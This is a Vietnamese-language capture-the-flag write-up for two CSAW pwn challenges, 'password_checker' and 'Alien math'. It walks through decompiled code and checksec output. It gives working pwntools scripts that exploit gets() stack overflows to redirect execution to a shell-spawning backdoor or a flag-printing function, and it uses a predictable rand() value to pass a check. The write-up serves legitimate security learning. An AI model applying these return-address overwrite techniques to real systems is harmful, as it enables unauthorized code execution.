int password_checker()
{
int result; // eax
char s2[48]; // [rsp+0h] [rbp-A0h] BYREF
char dest[48]; // [rsp+30h] [rbp-70h] BYREF
char src[60]; // [rsp+60h] [rbp-40h] BYREF
printf("Enter the password to get in: \n>");
gets(src);
strcpy(dest, src);
strcpy(s2, "password");
if ( strcmp(dest, s2) )
result = printf("This is not the password");
else
result = printf("You got in!!!!");
return result;
}
int backdoor()
{
return system("/bin/sh");
}
Phân tích mã giả thấy có lỗi BOF ở hàm gets() trong hàm password_checker(), và hàm backdoor() chạy lệnh system("/bin/sh") nên chúng ta sẽ đè return address của hàm password_checker() vào hàm backdoor(), lúc đó ta sẽ gọi được shell lên và cat flag.
from pwn import *
elf = ELF("./password_checker")
p = remote("pwn.chal.csaw.io",5000)
payload = b"A"*72
payload += p64(elf.sym['backdoor'])
p.sendline(payload)
p.interactive()
2. Alien math
Đầu tiên minh sẽ đi qua các lệnh như file và checksec:
┌──(meobeo㉿debian)-[~/Desktop/CSAWCTF]
└─$ file alien_math
alien_math: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1b56be906979ecd1d841d026bde8f8f8c751602f, for GNU/Linux 3.2.0, not stripped
┌──(meobeo㉿debian)-[~/Desktop/CSAWCTF]
└─$ checksec alien_math
[*] '/home/meobeo/Desktop/CSAWCTF/alien_math'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
IDA:
Mình sẽ mô tả sơ về luồng thực thi chương trình như sau:
Hàm main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[36]; // [rsp+0h] [rbp-30h] BYREF
int v5; // [rsp+24h] [rbp-Ch] BYREF
__int64 v6; // [rsp+28h] [rbp-8h]
puts("\n==== Flirbgarple Math Pop Quiz ====");
puts("=== Make an A to receive a flag! ===\n");
puts("What is the square root of zopnol?");
fflush(_bss_start);
__isoc99_scanf(" %d", &v5);
v6 = rand();
if ( v6 == v5 )
{
puts("Correct!\n");
fflush(_bss_start);
getchar();
puts("How many tewgrunbs are in a qorbnorbf?");
fflush(_bss_start);
__isoc99_scanf("%24s", v4);
second_question(v4);
}
else
{
puts("Incorrect. That's an F for you!");
}
return 0;
}
Ở đây hàm main sẽ khai báo 2 biến là v5 và v6, 1 chuỗi kí tự v4 có size là 36. Hàm scanf thứ nhất sẽ cho ta nhập vào biến v5, sau đó sử dụng hàm rand() để tạo số ngẫu nhiên cho v6. Sau đó so sánh v5 và v6 nếu bằng nhau thì chúng ta sẽ tiếp tục được nhập vào chuỗi v4 với độ dài 24 và truyền v4 vào hàm second_question().
Hàm second_question
int __fastcall second_question(const char *a1)
{
int v1; // ebx
size_t v3; // rax
char s1[28]; // [rsp+10h] [rbp-30h] BYREF
int i; // [rsp+2Ch] [rbp-14h]
for ( i = 0; i < strlen(a1) - 1; ++i )
{
if ( a1[i] <= 47 || a1[i] > 57 )
{
puts("Xolplsmorp! Invalid input!\n");
return puts("You get a C. No flag this time.\n");
}
v1 = a1[i + 1] - 48;
a1[i + 1] = (int)(v1 + second_question_function((unsigned int)a1[i], (unsigned int)(i + a1[i]))) % 10 + 48;
}
strcpy(s1, "7759406485255323229225");
v3 = strlen(s1);
if ( strncmp(s1, a1, v3) )
return puts("You get a C. No flag this time.\n");
puts("Genius! One question left...\n");
final_question();
return puts("Not quite. Double check your calculations.\nYou made a B. So close!\n");
}
Hàm second_question() sẽ nhận đối số chuỗi v4 mới nãy ta nhập vào, đoạn code từ dòng 8 đến dòng 16 sẽ thay đổi chuỗi v4. Sau đó sẽ tiến hành so sánh với chuỗi s1 có giá trị là "7759406485255323229225", nếu 2 chuỗi bằng nhau thì ta nhảy vào hàm final_question()
Hàm final_question()
__int64 final_question()
{
__int64 v1[2]; // [rsp+0h] [rbp-10h] BYREF
v1[0] = 0LL;
v1[1] = 0LL;
puts("How long does it take for a toblob of energy to be transferred between two quantum entangled salwzoblrs?");
fflush(_bss_start);
getchar();
return gets(v1);
}
Ở đây sẽ thấy lỗi BOF tại hàm gets(), và tình cờ thay trong chương trình lại có hàm print_flag()
void __noreturn print_flag()
{
char s[136]; // [rsp+0h] [rbp-90h] BYREF
FILE *stream; // [rsp+88h] [rbp-8h]
puts("Here is your flag: ");
stream = fopen("flag.txt", "r");
if ( stream )
{
fgets(s, 136, stream);
printf("%s", s);
}
else
{
puts("Xolplsmorp! If you see this when trying your exploit remotely, contact an administrator!\n");
}
fflush(_bss_start);
exit(0);
}
Hướng giải quyết bài này thì mình sẽ bypass từng question rồi đè return address của hàm final_question() hướng vào hàm print_flag().
Vậy thì làm sao để bypass chỗ (v6==v5) để nhảy vào hàm second_question()? Mình biết sơ qua hàm rand(), nếu rand() được gọi mà không gọi srand() trước đó thì sẽ luôn cho cùng 1 giá trị khi chạy chương trình, các bạn có thể tìm hiểu ở đây, qua debug thì mình biết được giá trị đó là 1804289383
Giá trị decimal của 0x6b8b4567 là 1804289383
Còn bypass qua đoạn second_question() thì mình sẽ viết code để reverse lại chuỗi chương trình đã cho.
#include<iostream>
#include<cstring>
#include <string>
using namespace std;
int second_question_function(int a1, int a2)
{
return (12 * (a2 - 48) - 4 + 48 * (a1 - 48) - (a2 - 48)) % 10u;
}
int main() {
int y = 55;
char s1[23] = "759406485255323229225";
for (int i = 0; i < 23; i++) {
for (int j = 48; j <= 57; j++) {
int v1 = j - 48;
int x;
x = (v1 + second_question_function(y, i + y)) % 10 + 48;
if (x == (int)s1[i]) {
cout << char(j);
y = s1[i];
break;
}
}
}
}
Đoạn code trên sẽ cho ta chuỗi có giá trị là "7856445899213065428791" đây chính là chuỗi cần nhập vào. Xong! vậy là chỉ còn việc tìm return address của hàm final_question() nằm ở đâu và get flag thôi
Code solve của mình:
from pwn import *
elf = ELF("./alien_math")
#p=remote("pwn.chal.csaw.io",5004)
p = elf.process()
#raw_input("DEBUG")
p.sendlineafter("What is the square root of zopnol?\n", b'1804289383')
p.sendlineafter("How many tewgrunbs are in a qorbnorbf?\n", b'7856445899213065428791')
payload = b"A"*24 + p64(elf.sym['print_flag'])
p.sendline(payload)
p.interactive()